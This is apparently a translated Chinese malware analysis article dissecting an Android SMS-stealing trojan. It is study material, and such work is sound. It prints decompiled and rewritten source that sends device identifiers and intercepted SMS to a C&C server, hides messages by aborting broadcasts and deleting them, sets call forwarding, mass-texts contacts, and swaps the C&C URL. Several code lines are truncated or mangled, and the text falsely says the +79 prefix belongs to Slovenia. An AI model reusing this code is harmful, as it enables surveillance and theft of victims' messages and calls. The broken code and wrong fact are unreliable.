《洞若观火:全方位剖析Android信息窃取恶意软件(上篇)》
https://www.anquanke.com/post/id/XXXXXX
根据从ServerCommunicator类中得到的新信息,我们能更加容易地理解类i。首先,它将收集方法和ID。
如果指定的方法是install,它还会手机网络运营商、bild模型、版本号、电话号码、IMEI、恶意程序版本和所在国家。所有这些数据都将被发送至C&C服务器。
如果指定的方法是info,那么只会将恶意程序的方法和ID发送到C&C服务器。
最后,有一个名为sms的选项,这一方法的行为与info方法相同。
protected final Object doInBackground(Object[] urlArray) {
Object var2 = null;
boolean var3 = false;
boolean var4 = MainService.e;
String url = ((String[]) urlArray)[0];
ServerCommunicator serverCommunicator = new ServerCommunicator();
this.parameters.add(new BasicNameValuePair("method", this.command));
this.parameters.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", (String) null)));
JSONObject serverResponse;
if (this.command.startsWith("install")) {
String POST = "POST";
this.parameters.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
this.parameters.add(new BasicNameValuePair("model", Build.MODEL));
this.parameters.add(new BasicNameValuePair("os", VERSION.RELEASE));
this.parameters.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
this.parameters.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
this.parameters.add(new BasicNameValuePair("version", Constants.version));
this.parameters.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
serverRespOnse= ServerCommunicator.callC2(url, POST, this.parameters);
} else if (this.command.startsWith("info")) {
serverRespOnse= ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
} else {
serverRespOnse= (JSONObject) var2;
if (this.command.startsWith("sms")) {
serverRespOnse= ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
}
}
if (StringDatabase.integerZero != 0) {
if (!var4) {
var3 = true;
}
MainService.e = var3;
}
return serverResponse;
}
需要注意的是,Constants类仅包含两个字段。这些变量的名称可以直接改成它们的值,例如下面的类:
public final class Constants {
public static int int50005 = 50005;
public static String version = "5";
}
6.9.1 onPostExecute
多亏我的一个朋友,我获得了使用JEB反编译的Java代码。代码仍然非常复杂,因为这一函数大概有250行之多。此外,还有很多try-catch结构和jump,这又给分析工作加大了难度。
SMALI等效代码大约有550行,这使得我们几乎无法分析。但根据SMALI代码,我们可以大概看到函数执行的操作:比较字符串,如果相匹配则执行代码。这可能代表Java代码确认后的命令处理。下面是反编译后未经修改的部分Java代码。
//[omitted]
try {
if(v15.equals(String.valueOf(o.h) + o.E)) {
this.w.edit().putLong(o.u, Long.valueOf((((long)(v8.optInt(i.t[17]) * 1000))) + System.currentTimeMillis()).longValue()).commit();
}
if(v15.equals(String.valueOf(o.h) + i.t[18])) {
i.q(v8.optString(i.t[33]), v8.optString(o.c));
}
if(v15.equals(i.t[21] + o.f + i.t[16])) {
v16 = v8.optString(i.t[33]);
v17 = i.q.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
if(v17 != null) {
goto label_125;
}
goto label_132;
}
goto label_160;
}
catch(Throwable v2) {
return;
}
try {
label_125:
if(v17.getCount() > o.z) {
goto label_128;
}
goto label_132;
}
catch(Throwable v2) {
goto label_273;
}
//[omitted]
为了适应本文所分析的恶意软件,我将大约250行代码重写为下面给出的代码。在重写的代码中,包含恶意程序所存在的所有功能,并且没有反编译错误。请注意,大多数字符串所在的字符串数组中,都包含33个字符串。它还使用了StringDatabase类中的字符串,这使得它非常混乱。
在代码中,包含以前没有分析过的类。这些类将在需要的时候进行分析。
protected final void onPostExecute(JSONArray commandJson) {
String command = commandJsonArray[0];
switch (command) {
case "install_true":
sharedPreferenceEditor.putString("inst", "2").commit();
break;
case "call_number":
TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#");
new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time"))));
break;
case "sms_grab":
Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis();
sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit();
break;
case "sms_send":
sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone"));
break;
case "delivery":
TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#");
String smsMessage = commandJson.optString("text");
String recipientPhoneNumber;
Cursor allCOntacts= context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
Cursor cOntactIds= context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null);
if (allContacts.getCount() > 0 && contactIds.getCount() > 0) {
for (int i = 1; i <30; i++) {
if (allContacts.moveToNext()) {
if (contactIds.moveToFirst()) {
recipientPhOneNumber= contactIds.getString(contactIds.getColumnIndex("data1"));
if (recipientPhoneNumber != null) {
sendAndRemoveMessage(smsMessage, recipientPhoneNumber);
}
}
}
}
}
break;
case "new_url":
String url = commandJson.optString("text");
if (url.length() > 10) {
sharedPreferenceEditor.putString("url", url).commit();
sharedPreferenceEditor.putString("inst", "1").commit();
}
break;
case "ussd":
TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone"));
break;
}
}
在switch中,处理了多个命令,这些不同的命令具体如下。随后,我们将按照列出的顺序逐一分析每个命令。
6.9.2 install_true
在接收到此命令后,字符串inst在共享首选项文件中被设置为2。这意味着安装完成。
case "install_true":
sharedPreferenceEditor.putString("inst", "2").commit();
break;
6.9.3 call_number
设置应该进行呼叫转移的电话号码。使用21作为前缀,并以#作为后缀,这样可以确保将呼入的电话转移到指定的号码上。
case "call_number":
TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#");
new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time"))));
break;
其中,StopCallForwardingRunnable类调用#21#,取消呼叫转移。命令中的时间变量将会指定何时应该取消呼叫转移,因为runnable的调用被延迟。时间变量是以秒为单位的等待时间,在代码中,原始函数需要以毫秒为单位的变量,因此该变量被乘以了1000。代码如下:
public final void run() {
new TelephonyManagerWrapper2().callPhoneNumber(i.context, "#21#");
}
我们将在分析了所有命令之后,再对TelephonyManagerWrapper2类进行分析。
6.9.4 sms_grab
time_perehv的值表示未来的特定时间,以秒为单位。处理这部分命令的代码如下:
case "sms_grab":
Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis();
sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit();
break;
使用Android Studio的查找用法(Find Usage)功能,可以看到String类中的字符串time_perehv(在上面的代码中被替换,以增加可读性)也同样在类Ma中被使用。在这里,由于这个类是BroadcastReceiver,所以用到了getAllSmsMessageBodies和onReceive这两个有趣的函数。
getAllSmsMessageBodies函数需要一个参数,也就是一个SMS消息数组。每条短信的正文都将放在一个字符串中,其结果以单个字符串的形式返回。
private static String getAllSmsMessageBodies(SmsMessage[] smsMessageArray) {
StringBuilder stringBuilder = new StringBuilder();
for (SmsMessage messageBody : smsMessageArray) {
stringBuilder.append(messageBody.getMessageBody());
}
return stringBuilder.toString();
}
需要使用BroadcastReceiver类扩展的类来实现onReceive函数。在处理BroadcastReceiver正在侦听的intent时,onReceive函数负责处理其intent。onReceive函数具体如下:
public void onReceive(Context context, Intent intent) {
String intentAction;
context.startService(new Intent(context, MainService.class));
this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0);
try {
intentAction = intent.getAction();
} catch (Throwable th) {
intentAction = "";
}
Object[] objArr = (Object[]) intent.getExtras().get("pdus");
if (isActive || objArr != null) {
SmsMessage[] smsMessageArray = new SmsMessage[objArr.length];
long j = this.sharedPreferences.getLong("time_perehv", 0);
if (System.currentTimeMillis()
}
if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) {
this.w = true;
}
if (this.w && intent != null && intentAction != null) {
if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) {
String displayOriginatingAddress;
for (int i = 0; i
SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
new Handler().postDelayed(new y(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000);
}
String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray);
displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress();
List parameters = new ArrayList();
parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress));
parameters.add(new BasicNameValuePair("text", allSmsMessageBodies));
new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)})
;
try {
q();
return;
} catch (Exception e) {
return;
}
}
return;
}
return;
}
throw new AssertionError();
}
在这部分代码中,函数q和类y是未知的。至此,我们已经知道这部分的核心功能。Long j等于time_perehv的值,该值通过C&C服务器的命令来设定。如果j晚于当前系统时间,那么布尔值w将被设置为true。请注意,默认情况下w被设置为false,如果收到的编号为900,那么该布尔值也将被设置为true。
如果将w设置为true,则继续执行代码,将intent的动作与接收到短信息时给出的动作进行比较。如果为true,类y将在2秒延迟后开始执行。
然后,利用短信命令,将所有短消息的内容发送到C&C服务器。最后,执行函数q。
y的代码如下:
public final void run() {
((android.app.NotificationManager) this.context.getSystemService("notification").cancelAll();
TelephonyManagerWrapper2.removeSentMessages(this.context, (String) this.body, this.numberTo);
}
通过使用NotificationManager(通知管理),可以取消所有通知。然后,删除发送到numberTo值的所有消息。根据该消息,可以将类y重命名为CancelAllNotificationsRunnable。
函数q(在Ma类中)如下:
private boolean q() {
try {
Class.forName("android.content.Receiver").getDeclaredMethod("abortBroadcast", new Class[0]).invoke(this, new Object[0]);
} catch (Throwable th) {
}
return true;
}
通过反射,调用abortBroadcast方法,从而从系统中删除广播。因此,我们可以将该函数重命名为abortBroadcastWrapper。
基于上面的分析,我们完全可以重写类Ma的onReceive函数,如下所示:
public void onReceive(Context context, Intent intent) {
String intentAction;
context.startService(new Intent(context, MainService.class));
this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0);
try {
intentAction = intent.getAction();
} catch (Throwable th) {
intentAction = "";
}
Object[] objArr = (Object[]) intent.getExtras().get("pdus");
if (isActive || objArr != null) {
SmsMessage[] smsMessageArray = new SmsMessage[objArr.length];
long blockTimeDeadline = this.sharedPreferences.getLong("time_perehv", 0);
if (System.currentTimeMillis()
}
if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) {
this.shouldBlock = true;
}
if (this.shouldBlock && intent != null && intentAction != null) {
if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) {
String displayOriginatingAddress;
for (int i = 0; i
SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
new Handler().postDelayed(new CancelAllNotificationsRunnable(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000);
}
String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray);
displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress();
List parameters = new ArrayList();
parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress));
parameters.add(new BasicNameValuePair("text", allSmsMessageBodies));
new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)})
;
try {
abortBroadcastWrapper();
return;
} catch (Exception e) {
return;
}
}
return;
}
return;
}
throw new AssertionError();
}
其中,由C&C服务器提供并保存在共享首选项time_perehv中的时间决定什么时候阻止并删除所有传入的消息。因此,Ma类可以重命名为SmsBlocker。
6.9.5 sms_send
在JSON命令中,会将指定的文本消息发送到指定的号码。随后,如果用户检查发送的短信息,恶意软件会删除文本消息,从而避免产生任何怀疑。
case "sms_send":
sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone"));
break;
在上面的代码中,使用了函数sendAndRemoveMessage。该方法使用特定正文内容,并将短信息发送到特定号码。两秒钟后,使用可以运行的RemoveAllSentMessagesRunnable删除设备上所有可用的文本消息。
private static void sendAndRemoveMessage(String message, String numberTo) {
if (numberTo != null && message != null) {
TelephonyManagerWrapper.sendSms(numberTo, message);
(new Handler()).postDelayed(new RemoveAllSentMessagesRunnable(message, numberTo), 2000L);
}
}
RemoveAllSentMessagesRunnable类包装了TelephonyManagerWrapper2,我们稍后对其进行分析。
final class RemoveAllSentMessagesRunnable implements Runnable {
private final String message;
private final String numberTo;
RemoveAllSentMessagesRunnable(String message, String numberTo) {
this.message = message;
this.numberTo = numberTo;
}
public final void run() {
TelephonyManagerWrapper2.removeSentMessages(CommandHandler.context, this.message, this.numberTo);
}
}
6.9.6 ussd
使用callPhoneNumber函数(位于TelephonyManagerWrapper2类中)调用命令所提供的号码。输入的电话号码可以使ussd命令。
case "ussd":
TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone"));
break;
6.9.7 delivery
下面展示了交付命令的代码,代码已经经过重新编写,以尽可能多地包含详细信息。
case "delivery":
TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#");
String smsMessage = commandJson.optString("text");
String recipientPhoneNumber;
Cursor allCOntacts= context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
Cursor cOntactIds= context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null);
if (allContacts.getCount() > 0 && contactIds.getCount() > 0) {
for (int i = 1; i <30; i++) {
if (allContacts.moveToNext()) {
if (contactIds.moveToFirst()) {
recipientPhOneNumber= contactIds.getString(contactIds.getColumnIndex("data1"));
if (recipientPhoneNumber != null) {
sendAndRemoveMessage(smsMessage, recipientPhoneNumber);
}
}
}
}
}
break;
首先,恶意软件设置将任何呼叫都转移到号码+79009999999。区号+79是斯洛文尼亚。之后,从命令中检索短信息的正文。并使用两个查询,查询手机中的所有联系人,上限为29。这些联系人都将收到一条短信息,其中包含在命令中定义的正文。之后,将会从手机上删除这一条发出的消息。
6.9.8 new_url
使用此命令,可以在设置中更改C&C服务器的URL。命令中URL的名称为text。程序会对其进行完整性检查,以查看URL是否超过了10个字符。符合HTTP协议(http://)规范并包含两个字符的顶级域名等于10个字符。
因此,即使是最小的URL,也要有11个字符,因此恶意程序会对其进行检查。由于手机尚未在新的C&C服务器上注册,所以inst设置为1。代码如下:
case "new_url":
String url = commandJson.optString("text");
if (url.length() > 10) {
sharedPreferenceEditor.putString("url", url).commit();
sharedPreferenceEditor.putString("inst", "1").commit();
}
break;
6.9.9 重命名类
根据两个函数中的信息,这个类通过将命令(字符串)与已知命令列表进行比较,然后调用正确的类来执行请求的操作,从而处理特定命令。因此,我们将这个类重命名为CommandHandler。
TelephonyManagerWrapper2的代码如下:
public static void removeSentMessages(Context context, String body, String numberTo) {
try {
Uri parse = Uri.parse("content://sms/inbox");
Cursor query = context.getContentResolver().query(parse, new String[]{"_id", "thread_id", "person", "date", "body"}, null, null, null);
if (query == null) {
return;
}
if (query.moveToFirst()) {
do {
long firstMessage = query.getLong(0);
String thread_id = query.getString(2);
if (body.equals(query.getString(5))) {
if (thread_id.equals(numberTo)) {
context.getContentResolver().delete(Uri.parse("content://sms/" + firstMessage), null, null);
}
}
} while (query.moveToNext());
}
} catch (Throwable th) {
}
}
如果号码和消息正文都匹配该函数参数提供的号码和文本消息正文,那么发送到收件人号码的所有消息都会从手机中删除。
callPhoneNumber函数代码如下:
public final void callPhoneNumber(Context context, String phoneNumber) {
((TelephonyManager) context.getSystemService("phone")).listen(new q(this, context, (byte) 0), 32);
Intent intent = new Intent("android.intent.action.Call");
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setData(Uri.fromParts("tel", phoneNumber, "#"));
context.startActivity(intent);
}
调用在此函数中作为参数提供的号码。名为q的类,是PhoneStateListener类的包装器,如下所示:
final class q extends PhoneStateListener {
Context context;
final TelephonyManagerWrapper2 telephonyManagerWrapper2;
private q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context) {
this.telephonyManagerWrapper2 = telephonyManagerWrapper2;
this.cOntext= context;
}
q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context, byte b) {
this(telephonyManagerWrapper2, context);
}
public final void onCallStateChanged(int i, String str) {
}
}
因此,它可以重命名为PhoneStateListenerWrapper。
至此,恶意软件中的所有类都被我们发现、分析和重新编写。这样一来,我们就掌握了恶意软件的命令,和内部工作的原理。在最后一次检查manifest时,所有类都已经被重新编写。